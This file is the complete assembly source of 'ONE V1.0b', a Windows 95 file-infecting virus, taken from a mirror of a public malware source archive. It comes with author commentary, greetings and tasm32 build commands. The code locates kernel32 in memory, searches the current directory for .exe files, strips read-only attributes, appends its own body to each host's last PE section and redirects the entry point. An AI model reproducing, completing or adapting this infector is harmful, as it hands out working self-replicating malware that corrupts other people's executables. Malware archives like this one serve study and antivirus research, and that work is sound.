13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 18:02:48 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.one.asm
2021-01-12 17:52:14 -06:00

701 lines
30 KiB
NASM

; ONE V1.0b By JFK/SGWW
;
;
; ONE is not only my first Win95 virus, but also my first virus
; which I have released. I'm not really all that proud of it,
; cause it didn't turn out at all to be what I had expected. But hey,
; maybe next time :) Hmmm, this virus really has no chance of
; spreading because it never moves out of its current directory.
; It's more or less just a learning experience.
;
; Features:
; * File Mapping (though it's sorta pointless because off all
; the normal reads)
; * Capable of infecting read only files.
; * Only increases a files size if it has to.
; * LOTS O' COMMENTS!!!! :-)
;
; Description:
; One will look in the current directory for *.exe files until
; it finds one that it should/can infect or until there are no
; more exe files. When a exe file is found, One reads in the PE
; header, and object table. One closes the file and looks for
; the next exe file if it determines the current file has already
; been infected. If the file has not been infected, One figures
; out all the new sizes of objects and stuff like that for the
; host. One then maps the file to memory, fills in the new PE
; header, object table, and appends the virus code to the end of
; the last object. One then unmaps the file, and closes it which
; automatically saves the changes made while mapped. One then
; starts all over looking for more *.exe files, if one is not found,
; control is given to the host's original entry point.
;
; Notes:
; * ONE will NOT work on WinNT
; * First generations crash. (because OldEA is 0)
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
;
; Greetz:
; Dakota: Your web page looks pretty nice!
; #virus & #vir (undernet): hiya :)
; SGWW: Thanx for accepting me as one of you.
; paw: Watch out pal, I've been practicing my trivia!
; RAiD: alt.comp.virus.raid-vs-avers??? :)
; Yesna: Did you forget your password on X? You never have ops! =)
; Opic: Did you find any good BBS's yet!?!? heheh
; LovinGod: You need a book on winsock bro! ;)
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
; Gloomy: ne ebi mozgi! :))))
;
; Assemble with:
; tasm32 -ml -m5 -q -zn one.asm
; tlink32 -Tpe -c -x -aa one,,, import32
; pewrsec one.exe
.386p
.model flat
include Win32API.inc
v_size equ v_end - v_start ;Virus absolute size in filez.
extrn ExitProcess :proc
.data
db ? ;Some dummy data so tlink32 dont yell.
.code
v_start:
push eax ;Save room for old Entry Point.
pushad ;Save registers.
add esp, 36d ;ESP->After saved registers+4.
call OldTrick ;Get delta offset.
OldTrick: pop ebp
sub ebp, offset OldTrick ;EBP = delta offset.
mov eax, [ebp+OldEA] ;Address for return.
push eax ;Save it.
sub esp, 32d ;Fix stack.
mov eax, 15d
mov [ebp+lpfGetProcAddress], eax
findK32PEHeader:
mov edi, 0BFF6FFFFh ;Will be inc'ed later
mov ecx, 00000300h ;Scan this many bytes.
mov eax, 00004550h ;Scan for "PE\0\0".
F_PE_I_Edi:
inc edi
Find_PE:
repne scasb ;Repeat while not equal, scan byte.
jne RestoreHost ;Bomb if not found.
cmp [edi-1], eax ;Is this dword "PE/0/0"?
jne Find_PE ;Nope, continue scanning.
dec edi ;EDI was +1 off from Repne Scasb
mov bx, word ptr [edi+16h] ;Get characteristics word.
and bx, 0F000h ;Unmask the bytes we need.
cmp bx, 2000h ;Is it 2000h (a DLL)?
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
mov [ebp+K32Base], eax ;Save Image base.
mov ebx, [edi+78h] ;Get RVA of Export Table.
add ebx, [ebp+K32Base] ;Add Base Address.
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
add edi, [ebp+K32Base] ;Add Base Address.
;Determine offset for unnamed functions.
mov ecx, [ebx+14h] ;Number of functions...
sub ecx, [ebx+18h] ;...less number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
mov [ebp+UnnamedOffset], eax ;Save it.
;Calculate number of double words in string pointer array.
mov ecx, [ebx+18h] ;Number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
xchg ecx, eax ;CX=Num dwords.
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
CheckFunctionName:
sub ecx, 4 ;Next name.
mov edi, edx ;Base address...
add edi, ecx ;...plus array index.
mov edi, [edi] ;Get RVA of name.
add edi, [ebp+K32Base] ;Add base address.
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
call ExtractAbsoluteAddress ;Check this name for it.
cmp ecx, 0 ;Checked all the names?
jne CheckFunctionName ;Nope. Check the next name.
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
je RestoreHost ;Nope! :(
;Get all of our needed API offsets from memory.
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
mov edx, esi ;Same.
GFO_NextChar:
mov bl, [edx] ;bl = next char in table.
cmp bl, 0 ;Is it 0?
je GFO_ItsZero ;Yeah.
cmp bl, '-' ;Is it the end of the table?
je After_GFO ;Yeah, continue.
inc edx ;Next char.
jmp GFO_NextChar ;Loop.
GFO_ItsZero:
inc edx ;EDX -> where offset will go.
mov eax, esi ;EAX -> function name.
push edx ;Save EDX.
call MyGetProcAddress ;Get this function's offset.
jc RestoreHost ;Quit on fail.
pop edx ;Restore EDX.
mov [edx], eax ;Save offset.
add edx, 4 ;EDX -> next functions name.
mov bl, [edx] ;BL = first char of name.
cmp bl, '-' ;Are we done yet?
je After_GFO ;Yep.
mov esi, edx ;ESI -> Next functions name.
inc edx ;Check next char.
jmp GFO_NextChar ;Do it.
After_GFO:
;Look for FIRST *.exe file.
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
push eax
call [ebp+lpfFindFirstFileA] ;Direct API call.
;On return, if a file with the name is found, eax = the handle,
;otherwise eax=FFFFFFFF
cmp eax, 0FFFFFFFFh ;No file found?
je RestoreHost ;No more exe files in this folder.
mov [ebp+FoundFileHandle], eax ;Save handle.
MainLoop:
call ReadInPEHeader ;Read in the files PE header.
cmp ebx, 0 ;Did we fail?
je FindNextFile ;Next file on failure.
call SetNOAttribs ;Remove files attributes.
jc FindNextFile ;Couldnt set attributes.
call OpenFile ;Open the file.
jc FindNextFile ;Couldnt open file.
call MapFile ;Map this file into memory
jc MapFailed ;Couldn't map file.
call InfectFile ;Infect it.
push dword ptr [ebp+MapBaseAddr]
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
MapFailed:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore the original attributes.
FindNextFile:
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
push dword ptr [ebp + offset FoundFileHandle]
;Handle from previous searches.
call [ebp+lpfFindNextFileA] ;Do it.
or eax, eax ;Success?
jnz MainLoop ;Yes, Continue search.
RestoreHost:
popad
ret
;***********************
;****** Functions ******
;***********************
;**** InfectFile ****
InfectFile PROC
;Append virus code to end of last object.
mov edx, [ebp+OldPhysSize] ;Physical size of object.
add edx, [esi+20d] ;Physical offset of object.
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
lea eax, v_start ;EAX = start of virus.
add eax, ebp ;Plus delta offset.
mov ecx, v_size ;Number of bytes to write.
call WriteMem ;write it.
;Write new object table to host.
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
add eax, 3Ch ;Offset of -> to PE header.
mov eax, [eax] ;EAX -> PE header
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
add eax, 18h ;EAX -> AFTER flags field.
xor edx, edx ;EDX = 0h
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
add edx, eax
lea eax, ObjectTable ;EAX -> new object table.
add eax, ebp ;Add delta offset.
mov ecx, 240d ;Size of new object table.
call WriteMem ;Write it.
;Write new PE header to host.
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
add edx, 3Ch ;Offset of -> to PE header.
mov edx, [edx] ;EDX -> PE header
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
lea eax, PE_Header ;EAX = offset of new PE header.
add eax, ebp ;Plus delta offset.
mov ecx, 54h ;Size of new PE header.
call WriteMem ;Write it.
ret
InfectFile ENDP
;**** WriteMem ****
WriteMem PROC
WM_NextByte:
mov bl, [eax] ;Byte from virus.
mov [edx], bl ;Write to host.
dec ecx ;One less byte to write.
inc eax ;Next virus byte.
inc edx ;Next target byte.
cmp ecx, 0 ;Did we write the whole virus?
jne WM_NextByte ;Nope, do next byte.
ret
WriteMem ENDP
;**** ReadInPEHeader ****
ReadInPEHeader PROC
call SetNOAttribs ;Needed for OpenFile.
jc RIPH_Failed ;Couldnt remove attributes.
call OpenFile ;Open the file.
jc RIPH_Failed ;Couldnt open this file.
;Move file pointer to where the offset to PE should be.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits to move.
mov eax, 3Ch ;-> offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in offset of PE header in file.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 4 ;# of bytes to read.
lea eax, [ebp+DataFromFile] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Move the file pointer to the PE header.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
mov eax, [ebp+DataFromFile] ;Offset of PE header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in the PE header.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 54h ;# of bytes to read.
lea eax, [ebp+PE_Header] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 54h ;Did we read in enough?
jne RIPH_Failed ;Nope.
mov eax, [ebp+Reserved9] ;EAX = infection marker.
cmp eax, 0h ;Is it infected already?
jne RIPH_Failed ;Yes.
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
cmp ax, 'EP' ;Is this a PE file?
jne RIPH_Failed ;Nope.
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
cmp ax, 6 ;Too many objects?
ja RIPH_Failed ;Yep
;Move file pointer to object table in file.
push 0 ;FILE_BEGIN = 00000000h
push 0 ;High order 32 bits of move.
xor eax, eax
mov ax, [ebp+NT_HDR_Size] ;NT header size.
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
add eax, 18h ;AFTER flags field in header.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
call [ebp+lpfSetFilePointer] ;Set the file pointer.
;Read in object table.
push 0
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
push eax
push 240d ;# of bytes to read.
lea eax, [ebp+ObjectTable] ;Buffer for read.
push eax
push dword ptr [ebp+OpenFileHandle] ;File to read from.
call [ebp+lpfReadFile] ;Read from file.
;Do some checks.
mov eax, [ebp+FileBytesRead] ;# of bytes read.
cmp eax, 240d ;Did we read enough?
jne RIPH_Failed ;Nope.
;Save Original entry point.
mov eax, [ebp+ImageBase] ;Files base address
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
mov [ebp+OldEA], eax ;Save it.
;** Figure out sizes for object and size of file **
;Get offset to DATA of the object we will infect.
xor eax, eax
mov ax, [ebp+NumbOfObjects] ;Number of objects.
dec eax ;We want last object.
mov ecx, 40 ;Each object 40 bytes
xor edx, edx
mul ecx ;#OfObj-1*40=last object.
lea esi, [ebp+ObjectTable] ;ESI -> object table.
add esi, eax ;ESI = ptr to last Object Entry.
;Set new physical size for object.
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
mov eax, [esi+16d] ;Get physical size of object.
mov [ebp+OldPhysSize], eax ;Save it.
push eax ;Save for figuring new entry point.
add eax, v_size ;Size of virus.
call AlignFix ;Figure new size.
mov dword ptr [esi+16d], eax ;Set new physical size.
;Set new virtual size for object.
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
push ecx ;Save for below.
mov eax, [esi+8] ;Get object virtual size.
add eax, v_size ;Add our virtual size.
call AlignFix ;Set on obj alignment.
mov dword ptr [esi+8], eax ;Set new virtual size.
mov [esi+36d], 0C0000040h ; set object flags
;Set new image size.
pop ecx ;ECX = object alignment vlaue.
mov eax, v_size ;EAX = size of virus.
add eax, dword ptr [ebp+ImageSize] ;add to old image size
call AlignFix ;Figure new size.
mov [ebp+ImageSize], eax ;Set new ImageSize.
;Set new entrypoint.
pop eax ;EAX = physical size of infected object.
add eax, [esi+12d] ;Add objects RVA.
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
;** Figure new physical size for mapping. **
;Get files size.
push 0
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
mov [ebp+SizeOfHost], eax ;Save size.
mov [ebp+Reserved9], eax ;Mark as infected.
;Figure new size.
mov ebx, [esi+16d] ;Object physical size.
add ebx, [esi+20d] ;Add physical offset of object.
cmp ebx, eax ;Which is larger?
ja RIPH_NewSize ;File size should be larger.
jmp RIPH_Done ;Return success.
RIPH_NewSize:
mov ecx, [ebp+FileAlign] ;File align value
mov eax, ebx ;Size now.
call AlignFix ;Figure new size.
mov [ebp+SizeOfHost], eax ;Save new size.
jmp RIPH_Done
RIPH_Failed:
xor ebx, ebx ;Mark failure.
RIPH_Done:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore its attributes.
ret
ReadInPEHeader ENDP
;**** SetNOAttribs ****
;This function first saves a files attributes to OrigFileAttribs,
;then sets the files attributes to "normal" so that the file can
;be written to. On errors, the carry flag is set.
SetNOAttribs PROC
;Get the files attributes.
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfGetFileAttributesA]
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
;Set file attributes to none so we can write to it if needed.
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name to stack.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
SetNOAttribs ENDP
;**** MapFile ****
;This proc gets a files(file in FileFoundData) size, creates a mapped
;object of the size needed, then maps the file into the object created.
;Carry flag is set on errors.
MapFile PROC
;Create File mapping object.
push 0 ;Dont need a name.
mov eax, [ebp+SizeOfHost] ;Size of object.
push eax
push 0 ;Not used.
push PAGE_READWRITE ;We need read+write access.
push 0 ;Default security.
push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
cmp eax, 0 ;Did we fail?
je OF_Failed ;Yep.
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
;Map file into object.
push 0 ;Map WHOLE file.
;Offsets are not needed cause we're gonna start mapping at the
;beginning of the file.
push 0 ;Low order 32 bits of offset.
push 0 ;High order 32 bits of offset.
push FILE_MAP_WRITE ;We need Read+Write access.
push eax ;Handle of mapping object.
call [ebp+lpfMapViewOfFile] ;Map the file
;Dont ask me why, but this returns some fucked up handle
;to memory that doesnt appear to exist, and the file doesnt
;seem to be read into memory until this memory is actually
;accessed(which magically does NOT cause a page fault)!
;weird! (I could be wrong, maybe just my debugger...)
mov [ebp+MapBaseAddr], eax ;Save base Address.
cmp eax, 0 ;Did we fail?
jne MP_Success ;We succeeded
stc
MP_Success:
ret
MapFile ENDP
;**** RestoreAttribs ****
;This proc restores the attributes of the file pointed to by
;FoundFileData. CarryFlag is NOT set on errors.
RestoreAttribs PROC
;Restore file attributes.
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
push eax
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push found files name.
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
ret
RestoreAttribs ENDP
;**** OpenFile ****
;This proc just opens the file pointed to in FoundFileData.
;If successful, the OPEN files handle is put into OpenFileHandle.
;If errors happen, the carry flag is set.
OpenFile PROC
;Open the file.
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0 ;0=Request exclusive access
push GENERIC_READ + GENERIC_WRITE
lea eax, [ebp+FoundFileData.WFD_szFileName]
push eax ;Push files name on stack.
call [ebp+lpfCreateFileA] ;Open file.
cmp eax, 0FFFFFFFFh ;Did we fail?
je OF_Failed ;Jeah, we failed. (SETS CARRY)
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
clc ;Clear carry flag (no errors)
ret
OF_Failed:
stc ;Set carry flag.
ret
OpenFile ENDP
;**** CloseFile ****
;This proc just closes the file pointed to by OpenFileHandle.
;Carry flag is NOT set if errors occur.(what for?)
CloseFile PROC
;Close the file.
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
call [ebp+lpfCloseHandle] ;Close it
ret
CloseFile ENDP
;**** AlignFix ****
AlignFix PROC
xor edx, edx
div ecx ;/alignment
inc eax ;next alignment
mul ecx ;*alignment
ret
AlignFix ENDP
;**** ExtractAbsoluteAddress ****
ExtractAbsoluteAddress PROC
pushad ;Save everything.
mov ecx, [esi] ;Get string length.
add esi, 4 ;Point to string
rep cmpsb ;Check the string.
popad ;Restore everything.
jne EAA_NotString ;This isn't the string - exit.
xchg esi, eax ;ESI = dword for address.
mov eax, [ebx+1Ch] ;RVA of Function Address array.
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
add eax, [ebp+K32Base] ;Plus DLL load address.
add eax, ecx ;Plus array offset.
mov eax, [eax] ;Get the address.
add eax, [ebp+K32Base] ;Plus DLL load address.
mov [esi], eax ;Save the address.
EAA_NotString:
ret
ExtractAbsoluteAddress ENDP
;**** MyGetProcAddress ****
MyGetProcAddress PROC
push eax ;lpProcName.
mov eax, [ebp+ModHandle] ;< hModule.
push eax ;<
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
cmp eax, 0 ;EAX = 0?
jne MyGetProcDone ;Nope, success.
stc ;Failure.
MyGetProcDone:
ret
MyGetProcAddress ENDP
; ****** DATA ******
K32Base dd 0 ;Start of K32 in memory.
UnnamedOffset dd 0
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
db "GetProcAddress",0
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
lpsExeFiles db '*.exe',0
OldEA dd 0 ;Original Entry Point(NOT RVA)
OldPhysSize dd 0 ;Old physical size of last object.
FoundFileHandle dd 0 ;Spot for handle of found files.
OpenFileHandle dd 0 ;Spot for handle of open files.
MappedObjectHandle dd 0 ;Handle of mapped object.
OrigFileAttribs dd 0 ;Spot for file attributes.
DataFromFile dd 0 ;Data read from file.
FileBytesRead dd 0 ;Number of bytes read.
MapBaseAddr dd 0 ;Base address of mapped object.
SizeOfHost dd 0 ;Size needed for mapped object.
PE_Header: ;Buffer for PE header.
Sig_Bytes: dd 0
CPU_Type: dw 0
NumbOfObjects dw 0
TimeStamp dd 0
Reserved1 dd 0
Reserved2 dd 0
NT_HDR_Size dw 0
Flags dw 0
Reserved3 dw 0
LMajor db 0
LMinor db 0
Reserved4 dd 0
Reserved5 dd 0
Reserved6 dd 0
EntryPointRVA dd 0
Reserved7 dd 0
Reserved8 dd 0
ImageBase dd 0
ObjectAlign dd 0
FileAlign dd 0
OS_Major dw 0
OS_Minor dw 0
UserMajor dw 0
UserMinor dw 0
SubSysMajor dw 0
SubSysMinor dw 0
Reserved9 dd 0
ImageSize dd 0 ;54h bytes.
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
ImportTable: ; :-)
db 'FindFirstFileA',0
lpfFindFirstFileA dd 0
db 'FindNextFileA',0
lpfFindNextFileA dd 0
db 'GetFileAttributesA',0
lpfGetFileAttributesA dd 0
db 'SetFileAttributesA',0
lpfSetFileAttributesA dd 0
db 'CreateFileA',0
lpfCreateFileA dd 0
db 'SetFilePointer',0
lpfSetFilePointer dd 0
db 'ReadFile',0
lpfReadFile dd 0
db 'GetFileSize',0
lpfGetFileSize dd 0
db 'CreateFileMappingA',0
lpfCreateFileMappingA dd 0
db 'MapViewOfFile',0
lpfMapViewOfFile dd 0
db 'UnmapViewOfFile',0
lpfUnmapViewOfFile dd 0
db 'CloseHandle',0
lpfCloseHandle dd 0
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
v_end:
end v_start